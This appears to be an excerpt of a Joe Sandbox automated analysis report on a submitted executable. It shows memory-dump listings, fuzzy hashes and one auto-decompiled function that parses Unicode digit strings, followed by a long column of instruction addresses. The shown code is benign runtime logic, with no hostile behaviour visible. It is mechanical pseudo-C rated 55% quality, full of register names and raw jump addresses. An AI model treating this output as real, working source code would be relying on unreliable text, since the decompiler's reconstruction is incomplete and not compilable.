                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                                                                                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                                                                                                              • API String ID: 3723044601-27947307
                                                                                                                              • Opcode ID: f1433c8640d626ae4189be2b9051fdea489fba53c429c99114fc43a8c07ed26a
                                                                                                                              • Instruction ID: ad47007ded1f2d7a46695296f99cf3b71f46c3b88742d8df01db5324743fd2d0
                                                                                                                              • Opcode Fuzzy Hash: f1433c8640d626ae4189be2b9051fdea489fba53c429c99114fc43a8c07ed26a
                                                                                                                              • Instruction Fuzzy Hash: 58218F31A08B4389FB12AF11E84007DF761BB94B90BC84176CE4D43796EF7CE5258310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E91B4 Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 55%
                                                                                                                              			E00007FF77FF7DA8E91B4(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, void* __r9, void* __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				long long _v184;
				void* __rsi;
				void* __rbp;
				void* _t163;
				signed int _t169;
				signed short _t208;
				signed short _t209;
				signed int _t210;
				signed int _t245;
				intOrPtr _t259;
				signed int _t260;
				signed int _t264;
				signed int _t265;
				signed int _t268;
				signed short* _t391;
				signed short* _t392;
				signed short* _t393;
				signed short* _t395;
				signed short** _t396;
				long long _t397;
				long long* _t400;
				signed short* _t401;
				long long* _t405;
				long long* _t406;
				long long* _t407;
				signed short** _t408;
				void* _t409;
				long long _t410;
				signed short* _t415;
				signed short* _t416;
				void* _t418;
				void* _t419;
				long long _t420;
				signed short* _t421;
				intOrPtr _t422;

				_t419 = __r11;
				_t418 = __r10;
				_t414 = __r8;
				_t405 = __rdx;
				_t397 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t420 =  *((intOrPtr*)(__rdx));
				_t265 = r9b & 0xffffffff;
				r15d = r8d;
				_v72 = _t420;
				_t408 = __rdx;
				if (_t420 != 0) goto 0xda8e91fe;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				goto 0xda8e9230;
				if (r15d == 0) goto 0xda8e9248;
				_t4 = _t414 - 2; // -2
				if (_t4 - 0x22 <= 0) goto 0xda8e9248;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v184 = _t410;
				E00007FF77FF7DA8E9C34(__rax, __rbx, __rcx, __rdx, _t409, _t410, __r8);
				_t400 = _t408[1];
				if (_t400 == 0) goto 0xda8e989a;
				 *_t400 =  *_t408;
				goto 0xda8e989a;
				_t10 = _t420 + 2; // 0x2
				 *_t405 = _t10;
				r14d = 0;
				if ( *((intOrPtr*)(_t400 + 0x28)) != bpl) goto 0xda8e9272;
				E00007FF77FF7DA8E3970(_t10, _t397, _t400, _t409);
				goto 0xda8e9272;
				_t389 =  *_t408;
				 *_t408 =  &(( *_t408)[1]);
				if (E00007FF77FF7DA8E792C( *_t389 & 0xffff, 8, _t397, _t400) != 0) goto 0xda8e9265;
				_t267 =  !=  ? _t265 : _t265 | 0x00000002;
				_t12 = _t397 - 0x2b; // -43
				if ((0x0000fffd & _t12) != 0) goto 0xda8e92a9;
				_t391 =  *_t408;
				_t208 =  *_t391 & 0x0000ffff;
				_t392 =  &(_t391[1]);
				 *_t408 = _t392;
				_a16 = 0xa70;
				_v168 = 0xae6;
				_v164 = 0xaf0;
				_v160 = 0xb66;
				r8d = 0x660;
				_v156 = 0xb70;
				_t20 = _t392 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xc66;
				r9d = 0x6f0;
				_v148 = 0xc70;
				r10d = 0x966;
				_v144 = 0xce6;
				_v140 = 0xcf0;
				_v136 = 0xd66;
				_v132 = 0xd70;
				_v128 = 0xe50;
				_v124 = 0xe5a;
				_v120 = 0xed0;
				_v116 = 0xeda;
				_v112 = 0xf20;
				_v108 = 0xf2a;
				_v104 = 0x1040;
				_v100 = 0x104a;
				_v96 = 0x17e0;
				_v92 = 0x17ea;
				_v88 = 0x1810;
				_v84 = 0xff1a;
				_v80 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0xda8e95e9;
				if (_t208 - 0x30 < 0) goto 0xda8e9571;
				if (_t208 - 0x3a >= 0) goto 0xda8e93c0;
				goto 0xda8e956c;
				if (_t208 - 0xff10 >= 0) goto 0xda8e955d;
				if (_t208 - r8w < 0) goto 0xda8e9571;
				if (_t208 - 0x66a >= 0) goto 0xda8e93e8;
				goto 0xda8e956c;
				if (_t208 - r9w < 0) goto 0xda8e9571;
				if (_t208 - 0x6fa >= 0) goto 0xda8e9407;
				goto 0xda8e956c;
				if (_t208 - r10w < 0) goto 0xda8e9571;
				if (_t208 - 0x970 >= 0) goto 0xda8e9426;
				goto 0xda8e956c;
				if (_t208 - r11w < 0) goto 0xda8e9571;
				if (_t208 - 0x9f0 >= 0) goto 0xda8e9445;
				goto 0xda8e956c;
				if (_t208 - (_t208 & 0x0000ffff) - r11d < 0) goto 0xda8e9571;
				if (_t208 - _a16 >= 0) goto 0xda8e9465;
				goto 0xda8e956c;
				if (_t208 - _v168 < 0) goto 0xda8e9571;
				if (_t208 - _v164 < 0) goto 0xda8e93b6;
				if (_t208 - _v160 < 0) goto 0xda8e9571;
				if (_t208 - _v156 < 0) goto 0xda8e93b6;
				if (_t208 - _v152 < 0) goto 0xda8e9571;
				if (_t208 - _v148 < 0) goto 0xda8e93b6;
				if (_t208 - _v144 < 0) goto 0xda8e9571;
				if (_t208 - _v140 < 0) goto 0xda8e93b6;
				if (_t208 - _v136 < 0) goto 0xda8e9571;
				if (_t208 - _v132 < 0) goto 0xda8e93b6;
				if (_t208 - _v128 < 0) goto 0xda8e9571;
				if (_t208 - _v124 < 0) goto 0xda8e93b6;
				if (_t208 - _v120 < 0) goto 0xda8e9571;
				if (_t208 - _v116 < 0) goto 0xda8e93b6;
				if (_t208 - _v112 < 0) goto 0xda8e9571;
				if (_t208 - _v108 < 0) goto 0xda8e93b6;
				if (_t208 - _v104 < 0) goto 0xda8e9571;
				if (_t208 - _v100 < 0) goto 0xda8e93b6;
				if (_t208 - _v96 < 0) goto 0xda8e9571;
				if (_t208 - _v92 < 0) goto 0xda8e93b6;
				if ((_t208 & 0x0000ffff) - _v88 - 9 > 0) goto 0xda8e9571;
				goto 0xda8e93b6;
				if (_t208 - _v84 >= 0) goto 0xda8e9571;
				if ((_t208 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xda8e9597;
				_t259 = _v80;
				_t66 = _t400 - 0x41; // 0x6af
				_t67 = _t400 - 0x61; // 0x68f
				_t163 = _t67;
				if (_t66 - _t259 <= 0) goto 0xda8e958d;
				if (_t163 - _t259 > 0) goto 0xda8e9643;
				if (_t163 - _t259 > 0) goto 0xda8e9594;
				_t68 = _t400 - 0x37; // 0x5d9
				r10d = 0;
				if (_t68 != 0) goto 0xda8e9646;
				_t401 =  *_t408;
				r9d = 0xffdf;
				_t260 =  *_t401 & 0x0000ffff;
				_t69 =  &(_t401[1]); // 0xffe1
				_t415 = _t69;
				 *_t408 = _t415;
				_t70 = _t405 - 0x58; // -63
				if ((r9w & _t70) == 0) goto 0xda8e9627;
				 *_t408 = _t401;
				_t73 = _t418 + 8; // 0x8
				_t167 =  !=  ? r15d : _t73;
				r15d =  !=  ? r15d : _t73;
				if (_t260 == 0) goto 0xda8e95ec;
				if ( *_t401 == _t260) goto 0xda8e95ec;
				E00007FF77FF7DA8E4394(_t392);
				 *_t392 = 0x16;
				_t169 = E00007FF77FF7DA8E9D00();
				r10d = 0;
				r11d = 0x61;
				r9d = (_t169 | 0xffffffff) / r15d;
				r13d = 0xff10;
				_t78 = _t419 - 0x31; // 0x5af
				r12d = _t78;
				if (_t208 - r12w < 0) goto 0xda8e97db;
				if (_t208 - 0x3a >= 0) goto 0xda8e964d;
				goto 0xda8e97d6;
				_t209 =  *_t415 & 0x0000ffff;
				_t79 =  &(_t415[1]); // 0xffe3
				_t393 = _t79;
				 *_t408 = _t393;
				_t173 =  !=  ? r15d : 0x10;
				r15d =  !=  ? r15d : 0x10;
				goto 0xda8e95ec;
				r10d = 0;
				goto 0xda8e9637;
				if (_t209 - r13w >= 0) goto 0xda8e97c6;
				if (_t209 - 0x660 < 0) goto 0xda8e97db;
				if (_t209 - 0x66a >= 0) goto 0xda8e9674;
				goto 0xda8e97d6;
				if (_t209 - 0x6f0 < 0) goto 0xda8e97db;
				_t80 =  &(_t393[5]); // 0x6fa
				if (_t209 - _t80 >= 0) goto 0xda8e9694;
				goto 0xda8e97d6;
				if (_t209 - 0x966 < 0) goto 0xda8e97db;
				_t81 =  &(_t393[5]); // 0x970
				if (_t209 - _t81 < 0) goto 0xda8e968a;
				_t82 =  &(_t401[0x3b]); // 0x9e6
				if (_t209 - _t82 < 0) goto 0xda8e97db;
				_t83 =  &(_t393[5]); // 0x9f0
				if (_t209 - _t83 < 0) goto 0xda8e968a;
				_t84 =  &(_t401[0x3b]); // 0xa66
				if (_t209 - _t84 < 0) goto 0xda8e97db;
				if (_t209 - _a16 < 0) goto 0xda8e968a;
				if (_t209 - _v168 < 0) goto 0xda8e97db;
				if (_t209 - _v164 < 0) goto 0xda8e968a;
				if (_t209 - _v160 < 0) goto 0xda8e97db;
				if (_t209 - _v156 < 0) goto 0xda8e968a;
				if (_t209 - _v152 < 0) goto 0xda8e97db;
				if (_t209 - _v148 < 0) goto 0xda8e968a;
				if (_t209 - _v144 < 0) goto 0xda8e97db;
				if (_t209 - _v140 < 0) goto 0xda8e968a;
				if (_t209 - _v136 < 0) goto 0xda8e97db;
				if (_t209 - _v132 < 0) goto 0xda8e968a;
				if (_t209 - _v128 < 0) goto 0xda8e97db;
				if (_t209 - _v124 < 0) goto 0xda8e968a;
				if (_t209 - _v120 < 0) goto 0xda8e97db;
				if (_t209 - _v116 < 0) goto 0xda8e968a;
				if (_t209 - _v112 < 0) goto 0xda8e97db;
				if (_t209 - _v108 < 0) goto 0xda8e968a;
				if (_t209 - _v104 < 0) goto 0xda8e97db;
				if (_t209 - _v100 < 0) goto 0xda8e968a;
				if (_t209 - _v96 < 0) goto 0xda8e97db;
				if (_t209 - _v92 < 0) goto 0xda8e968a;
				if ((_t209 & 0x0000ffff) - _v88 - 9 > 0) goto 0xda8e97db;
				goto 0xda8e97d6;
				if (_t209 - _v84 >= 0) goto 0xda8e97db;
				if ((_t209 & 0x0000ffff) - r13d != 0xffffffff) goto 0xda8e980f;
				_t245 = _t209 & 0x0000ffff;
				if (_t245 - 0x41 < 0) goto 0xda8e97e8;
				if (_t245 - 0x5a <= 0) goto 0xda8e97f3;
				if (_t245 - r11d < 0) goto 0xda8e980c;
				if (_t209 - 0x7a > 0) goto 0xda8e980c;
				if ((_t209 & 0x0000ffff) - r11w - _v80 > 0) goto 0xda8e9807;
				goto 0xda8e980f;
				_t416 =  *_t408;
				if ((_t245 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0xda8e984f;
				_t210 =  *_t416 & 0x0000ffff;
				_t264 = _t393 + _t401;
				r14d = _t264;
				_t114 =  &(_t416[1]); // 0x2
				 *_t408 = _t114;
				_t268 = ( !=  ? _t265 : _t265 | 0x00000002) | (r10d & 0xffffff00 | _t264 - r14d * r15d > 0x00000000 | r10d & 0xffffff00 | r14d - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xda8e960c;
				_t422 = _a8;
				_t116 = _t416 - 2; // -2
				_t395 = _t116;
				_t421 = _v72;
				 *_t408 = _t395;
				if (_t210 == 0) goto 0xda8e9885;
				if ( *_t395 == _t210) goto 0xda8e9885;
				E00007FF77FF7DA8E4394(_t395);
				 *_t395 = 0x16;
				E00007FF77FF7DA8E9D00();
				if ((sil & 0x00000008) != 0) goto 0xda8e98a1;
				_t396 = _t408[1];
				 *_t408 = _t421;
				if (_t396 == 0) goto 0xda8e989a;
				 *_t396 = _t421;
				goto 0xda8e9933;
				r8d = 0x80000000;
				_t121 = _t416 - 1; // -1
				r9d = _t121;
				if ((sil & 0x00000004) == 0) goto 0xda8e98ba;
				goto 0xda8e98d8;
				if ((sil & 0x00000001) == 0) goto 0xda8e9919;
				if ((bpl & sil) == 0) goto 0xda8e98cc;
				if (r14d - r8d <= 0) goto 0xda8e991e;
				goto 0xda8e98d1;
				if (r14d - r9d <= 0) goto 0xda8e9921;
				 *((char*)(_t422 + 0x30)) = 1;
				 *((intOrPtr*)(_t422 + 0x2c)) = 0x22;
				if ((_t268 & 0x00000001) != 0) goto 0xda8e98f1;
				r14d = r14d | 0xffffffff;
				goto 0xda8e9921;
				_t406 = _t408[1];
				if ((0x00000002 & _t268) == 0) goto 0xda8e9909;
				if (_t406 == 0) goto 0xda8e9904;
				 *_t406 =  *_t408;
				goto 0xda8e9933;
				if (_t406 == 0) goto 0xda8e9914;
				 *_t406 =  *_t408;
				goto 0xda8e9933;
				if ((bpl & sil) == 0) goto 0xda8e9921;
				r14d =  ~r14d;
				_t407 = _t408[1];
				if (_t407 == 0) goto 0xda8e9930;
				 *_t407 =  *_t408;
				return r14d;
			}































































                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b4
                                                                                                                              0x7ff7da8e91b9
                                                                                                                              0x7ff7da8e91d0
                                                                                                                              0x7ff7da8e91d5
                                                                                                                              0x7ff7da8e91d9
                                                                                                                              0x7ff7da8e91dc
                                                                                                                              0x7ff7da8e91e4
                                                                                                                              0x7ff7da8e91ea
                                                                                                                              0x7ff7da8e91ec
                                                                                                                              0x7ff7da8e91f1
                                                                                                                              0x7ff7da8e91f7
                                                                                                                              0x7ff7da8e91fc
                                                                                                                              0x7ff7da8e9201
                                                                                                                              0x7ff7da8e9203
                                                                                                                              0x7ff7da8e920a
                                                                                                                              0x7ff7da8e920c
                                                                                                                              0x7ff7da8e9211
                                                                                                                              0x7ff7da8e9214
                                                                                                                              0x7ff7da8e9218
                                                                                                                              0x7ff7da8e921b
                                                                                                                              0x7ff7da8e9226
                                                                                                                              0x7ff7da8e922b
                                                                                                                              0x7ff7da8e9230
                                                                                                                              0x7ff7da8e9237
                                                                                                                              0x7ff7da8e9240
                                                                                                                              0x7ff7da8e9243
                                                                                                                              0x7ff7da8e924d
                                                                                                                              0x7ff7da8e9252
                                                                                                                              0x7ff7da8e9255
                                                                                                                              0x7ff7da8e925c
                                                                                                                              0x7ff7da8e925e
                                                                                                                              0x7ff7da8e9263
                                                                                                                              0x7ff7da8e9265
                                                                                                                              0x7ff7da8e926f
                                                                                                                              0x7ff7da8e9281
                                                                                                                              0x7ff7da8e9291
                                                                                                                              0x7ff7da8e9294
                                                                                                                              0x7ff7da8e929a
                                                                                                                              0x7ff7da8e929c
                                                                                                                              0x7ff7da8e929f
                                                                                                                              0x7ff7da8e92a2
                                                                                                                              0x7ff7da8e92a6
                                                                                                                              0x7ff7da8e92a9
                                                                                                                              0x7ff7da8e92b9
                                                                                                                              0x7ff7da8e92c6
                                                                                                                              0x7ff7da8e92d3
                                                                                                                              0x7ff7da8e92db
                                                                                                                              0x7ff7da8e92e1
                                                                                                                              0x7ff7da8e92e9
                                                                                                                              0x7ff7da8e92e9
                                                                                                                              0x7ff7da8e92ed
                                                                                                                              0x7ff7da8e92f5
                                                                                                                              0x7ff7da8e92fb
                                                                                                                              0x7ff7da8e9303
                                                                                                                              0x7ff7da8e9309
                                                                                                                              0x7ff7da8e9311
                                                                                                                              0x7ff7da8e9319
                                                                                                                              0x7ff7da8e9321
                                                                                                                              0x7ff7da8e9329
                                                                                                                              0x7ff7da8e9331
                                                                                                                              0x7ff7da8e9339
                                                                                                                              0x7ff7da8e9341
                                                                                                                              0x7ff7da8e9349
                                                                                                                              0x7ff7da8e9351
                                                                                                                              0x7ff7da8e9359
                                                                                                                              0x7ff7da8e9361
                                                                                                                              0x7ff7da8e9369
                                                                                                                              0x7ff7da8e9371
                                                                                                                              0x7ff7da8e9379
                                                                                                                              0x7ff7da8e9384
                                                                                                                              0x7ff7da8e938f
                                                                                                                              0x7ff7da8e93a1
                                                                                                                              0x7ff7da8e93aa
                                                                                                                              0x7ff7da8e93b4
                                                                                                                              0x7ff7da8e93bb
                                                                                                                              0x7ff7da8e93c3
                                                                                                                              0x7ff7da8e93cd
                                                                                                                              0x7ff7da8e93db
                                                                                                                              0x7ff7da8e93e3
                                                                                                                              0x7ff7da8e93ec
                                                                                                                              0x7ff7da8e93fa
                                                                                                                              0x7ff7da8e9402
                                                                                                                              0x7ff7da8e940b
                                                                                                                              0x7ff7da8e9419
                                                                                                                              0x7ff7da8e9421
                                                                                                                              0x7ff7da8e942a
                                                                                                                              0x7ff7da8e9438
                                                                                                                              0x7ff7da8e9440
                                                                                                                              0x7ff7da8e9448
                                                                                                                              0x7ff7da8e9456
                                                                                                                              0x7ff7da8e9460
                                                                                                                              0x7ff7da8e946c
                                                                                                                              0x7ff7da8e9477
                                                                                                                              0x7ff7da8e9484
                                                                                                                              0x7ff7da8e948f
                                                                                                                              0x7ff7da8e949c
                                                                                                                              0x7ff7da8e94a7
                                                                                                                              0x7ff7da8e94b4
                                                                                                                              0x7ff7da8e94bf
                                                                                                                              0x7ff7da8e94cc
                                                                                                                              0x7ff7da8e94d7
                                                                                                                              0x7ff7da8e94e4
                                                                                                                              0x7ff7da8e94ef
                                                                                                                              0x7ff7da8e94fc
                                                                                                                              0x7ff7da8e9503
                                                                                                                              0x7ff7da8e9510
                                                                                                                              0x7ff7da8e9517
                                                                                                                              0x7ff7da8e9524
                                                                                                                              0x7ff7da8e952b
                                                                                                                              0x7ff7da8e9538
                                                                                                                              0x7ff7da8e953f
                                                                                                                              0x7ff7da8e9556
                                                                                                                              0x7ff7da8e9558
                                                                                                                              0x7ff7da8e9565
                                                                                                                              0x7ff7da8e956f
                                                                                                                              0x7ff7da8e9571
                                                                                                                              0x7ff7da8e957b
                                                                                                                              0x7ff7da8e9580
                                                                                                                              0x7ff7da8e9580
                                                                                                                              0x7ff7da8e9583
                                                                                                                              0x7ff7da8e9587
                                                                                                                              0x7ff7da8e958f
                                                                                                                              0x7ff7da8e9594
                                                                                                                              0x7ff7da8e9597
                                                                                                                              0x7ff7da8e959c
                                                                                                                              0x7ff7da8e95a2
                                                                                                                              0x7ff7da8e95a5
                                                                                                                              0x7ff7da8e95ab
                                                                                                                              0x7ff7da8e95ae
                                                                                                                              0x7ff7da8e95ae
                                                                                                                              0x7ff7da8e95b2
                                                                                                                              0x7ff7da8e95b5
                                                                                                                              0x7ff7da8e95bc
                                                                                                                              0x7ff7da8e95c1
                                                                                                                              0x7ff7da8e95c4
                                                                                                                              0x7ff7da8e95c8
                                                                                                                              0x7ff7da8e95cc
                                                                                                                              0x7ff7da8e95d2
                                                                                                                              0x7ff7da8e95d7
                                                                                                                              0x7ff7da8e95d9
                                                                                                                              0x7ff7da8e95de
                                                                                                                              0x7ff7da8e95e4
                                                                                                                              0x7ff7da8e95e9
                                                                                                                              0x7ff7da8e95f4
                                                                                                                              0x7ff7da8e95ff
                                                                                                                              0x7ff7da8e9602
                                                                                                                              0x7ff7da8e9608
                                                                                                                              0x7ff7da8e9608
                                                                                                                              0x7ff7da8e9610
                                                                                                                              0x7ff7da8e961a
                                                                                                                              0x7ff7da8e9622
                                                                                                                              0x7ff7da8e9627
                                                                                                                              0x7ff7da8e962b
                                                                                                                              0x7ff7da8e962b
                                                                                                                              0x7ff7da8e962f
                                                                                                                              0x7ff7da8e963a
                                                                                                                              0x7ff7da8e963e
                                                                                                                              0x7ff7da8e9641
                                                                                                                              0x7ff7da8e9643
                                                                                                                              0x7ff7da8e964b
                                                                                                                              0x7ff7da8e9651
                                                                                                                              0x7ff7da8e965a
                                                                                                                              0x7ff7da8e9668
                                                                                                                              0x7ff7da8e966f
                                                                                                                              0x7ff7da8e967c
                                                                                                                              0x7ff7da8e9682
                                                                                                                              0x7ff7da8e9688
                                                                                                                              0x7ff7da8e968f
                                                                                                                              0x7ff7da8e969c
                                                                                                                              0x7ff7da8e96a2
                                                                                                                              0x7ff7da8e96a8
                                                                                                                              0x7ff7da8e96aa
                                                                                                                              0x7ff7da8e96b0
                                                                                                                              0x7ff7da8e96b6
                                                                                                                              0x7ff7da8e96bc
                                                                                                                              0x7ff7da8e96be
                                                                                                                              0x7ff7da8e96c4
                                                                                                                              0x7ff7da8e96d2
                                                                                                                              0x7ff7da8e96db
                                                                                                                              0x7ff7da8e96e6
                                                                                                                              0x7ff7da8e96ef
                                                                                                                              0x7ff7da8e96fa
                                                                                                                              0x7ff7da8e9703
                                                                                                                              0x7ff7da8e970e
                                                                                                                              0x7ff7da8e971b
                                                                                                                              0x7ff7da8e9726
                                                                                                                              0x7ff7da8e9733
                                                                                                                              0x7ff7da8e973e
                                                                                                                              0x7ff7da8e974b
                                                                                                                              0x7ff7da8e9756
                                                                                                                              0x7ff7da8e9763
                                                                                                                              0x7ff7da8e976a
                                                                                                                              0x7ff7da8e9777
                                                                                                                              0x7ff7da8e977e
                                                                                                                              0x7ff7da8e978b
                                                                                                                              0x7ff7da8e9792
                                                                                                                              0x7ff7da8e979f
                                                                                                                              0x7ff7da8e97a6
                                                                                                                              0x7ff7da8e97bd
                                                                                                                              0x7ff7da8e97c4
                                                                                                                              0x7ff7da8e97ce
                                                                                                                              0x7ff7da8e97d9
                                                                                                                              0x7ff7da8e97db
                                                                                                                              0x7ff7da8e97e1
                                                                                                                              0x7ff7da8e97e6
                                                                                                                              0x7ff7da8e97eb
                                                                                                                              0x7ff7da8e97f1
                                                                                                                              0x7ff7da8e9802
                                                                                                                              0x7ff7da8e980a
                                                                                                                              0x7ff7da8e980f
                                                                                                                              0x7ff7da8e9815
                                                                                                                              0x7ff7da8e9817
                                                                                                                              0x7ff7da8e9822
                                                                                                                              0x7ff7da8e9833
                                                                                                                              0x7ff7da8e983b
                                                                                                                              0x7ff7da8e9845
                                                                                                                              0x7ff7da8e9848
                                                                                                                              0x7ff7da8e984a
                                                                                                                              0x7ff7da8e984f
                                                                                                                              0x7ff7da8e9857
                                                                                                                              0x7ff7da8e9857
                                                                                                                              0x7ff7da8e985b
                                                                                                                              0x7ff7da8e9868
                                                                                                                              0x7ff7da8e986e
                                                                                                                              0x7ff7da8e9873
                                                                                                                              0x7ff7da8e9875
                                                                                                                              0x7ff7da8e987a
                                                                                                                              0x7ff7da8e9880
                                                                                                                              0x7ff7da8e9889
                                                                                                                              0x7ff7da8e988b
                                                                                                                              0x7ff7da8e988f
                                                                                                                              0x7ff7da8e9895
                                                                                                                              0x7ff7da8e9897
                                                                                                                              0x7ff7da8e989c
                                                                                                                              0x7ff7da8e98a1
                                                                                                                              0x7ff7da8e98a7
                                                                                                                              0x7ff7da8e98a7
                                                                                                                              0x7ff7da8e98af
                                                                                                                              0x7ff7da8e98b8
                                                                                                                              0x7ff7da8e98be
                                                                                                                              0x7ff7da8e98c3
                                                                                                                              0x7ff7da8e98c8
                                                                                                                              0x7ff7da8e98ca
                                                                                                                              0x7ff7da8e98cf
                                                                                                                              0x7ff7da8e98da
                                                                                                                              0x7ff7da8e98df
                                                                                                                              0x7ff7da8e98e9
                                                                                                                              0x7ff7da8e98eb
                                                                                                                              0x7ff7da8e98ef
                                                                                                                              0x7ff7da8e98f1
                                                                                                                              0x7ff7da8e98f7
                                                                                                                              0x7ff7da8e98fc
                                                                                                                              0x7ff7da8e9901
                                                                                                                              0x7ff7da8e9907
                                                                                                                              0x7ff7da8e990c
                                                                                                                              0x7ff7da8e9911
                                                                                                                              0x7ff7da8e9917
                                                                                                                              0x7ff7da8e991c
                                                                                                                              0x7ff7da8e991e
                                                                                                                              0x7ff7da8e9921
                                                                                                                              0x7ff7da8e9928
                                                                                                                              0x7ff7da8e992d
                                                                                                                              0x7ff7da8e994d

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: f$p$p
                                                                                                                              • API String ID: 3215553584-1995029353
                                                                                                                              • Opcode ID: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
                                                                                                                              • Instruction ID: 3d6dbb7c927b26ff8ba6c76f16138c58101197391a156b1f35ba7e2b1af69be1
                                                                                                                              • Opcode Fuzzy Hash: 8b43f30c9b627f105c9440690760d813b6cbc2015482011a3dd154e3df4de9b0
                                                                                                                              • Instruction Fuzzy Hash: E1129E71A08143C6FB22BE15D0546BDF691FB60750FC44077DE9A066C6DFBEEAA08B20
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD863CFC Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 114stringCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
